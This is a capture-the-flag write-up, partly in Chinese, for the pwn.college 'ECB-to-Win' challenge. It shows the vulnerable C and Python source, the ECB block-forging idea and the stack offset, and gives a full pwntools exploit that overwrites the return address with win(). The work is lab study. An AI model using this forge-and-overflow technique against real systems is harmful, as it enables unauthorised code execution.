PwnCollege - IS ECB-to-Win (easy)

Concepts used: Cryptography + Binary Exploitation

Source

vulnerable-overflow 读取密文,先解密第一个 block 验证 header 和 length,再解密剩余 block 到栈上固定大小的 message[60]。因为 ciphertext_len 没有上限检查,EVP_DecryptUpdate 会直接造成栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int challenge(int argc, char **argv, char **envp)
{
unsigned char key[16];
struct
{
char header[8];
unsigned long long length;
char message[60];
} plaintext = {0};

// ... key init, read ciphertext from stdin ...

// verify first block
EVP_DecryptUpdate(ctx, (char *)&plaintext, &decrypted_len, ciphertext, 16);
assert(memcmp(plaintext.header, "VERIFIED", 8) == 0);
assert(plaintext.length <= 16);

// buffer overflow: no bounds check on ciphertext_len
EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len,
ciphertext + 16, ciphertext_len - 16);
}

dispatch 是加密 oracle,接受最多 16 字节的 message,拼上 VERIFIED header 后用相同 key 的 AES-ECB 加密输出:

1
2
3
4
5
6
7
8
key = open("/challenge/.key", "rb").read()
cipher = AES.new(key=key, mode=AES.MODE_ECB)

message = sys.stdin.buffer.read1()
assert len(message) <= 16, "Your message is too long!"
plaintext = b"VERIFIED" + struct.pack(b"<Q", len(message)) + message
ciphertext = cipher.encrypt(pad(plaintext, cipher.block_size))
sys.stdout.buffer.write(ciphertext)

Analysis

ECB 模式下每个 16 字节 block 独立加密,相同明文 block 产生相同密文 block。因此可以:

  1. 调用 dispatch 获取合法的第一个 block(包含 VERIFIED header)的密文
  2. 将 payload 按 16 字节分块,逐块调用 dispatch 加密
  3. 拼接密文发送给 vulnerable-overflow,解密后得到我们的任意 payload

从 stack dump 中可以看到:

1
2
3
| 0x00007fff9c9fad20 (rsp+0x0040) | message buffer 开始位置
| ... | 120 bytes of 'A' padding
| 0x00007fff9c9fad98 (rsp+0x00b8) | saved return address -> 0x401e96
  • buffer 起始: rsp+0x40,saved rip: rsp+0xb8 → offset = 120 bytes
  • win() 地址: 0x4018f7

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.log_level = "info"

OFFSET = 120
WIN_ADDR = 0x4018f7


def encrypt_block(block_data):
"""调用 dispatch 加密单个 16 字节 block,返回对应密文"""
p = process(["/challenge/dispatch"], level="error")
p.send(block_data)
p.shutdown("send") # 必须发送 EOF,否则 read1() 阻塞
ct = p.recvall()
p.close()
return ct[16:32] # 跳过第一个 block (VERIFIED header)


def build_payload():
# 获取合法的第一个 block 密文 (通过 dispatch 加密任意 16 字节 message)
p_init = process(["/challenge/dispatch"], level="error")
p_init.send(b"A" * 16)
p_init.shutdown("send")
first_block_ct = p_init.recvall()[:16]
p_init.close()

raw_payload = b"A" * OFFSET + p64(WIN_ADDR)
padded_payload = pad(raw_payload, 16)

# 逐块加密,拼接密文
final_ct = first_block_ct
for i in range(0, len(padded_payload), 16):
final_ct += encrypt_block(padded_payload[i : i + 16])

log.success(f"Payload length: {len(final_ct)} bytes")
return final_ct


def exploit():
payload = build_payload()
target = process("/challenge/vulnerable-overflow")
target.send(payload)
target.shutdown("send")
print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
exploit()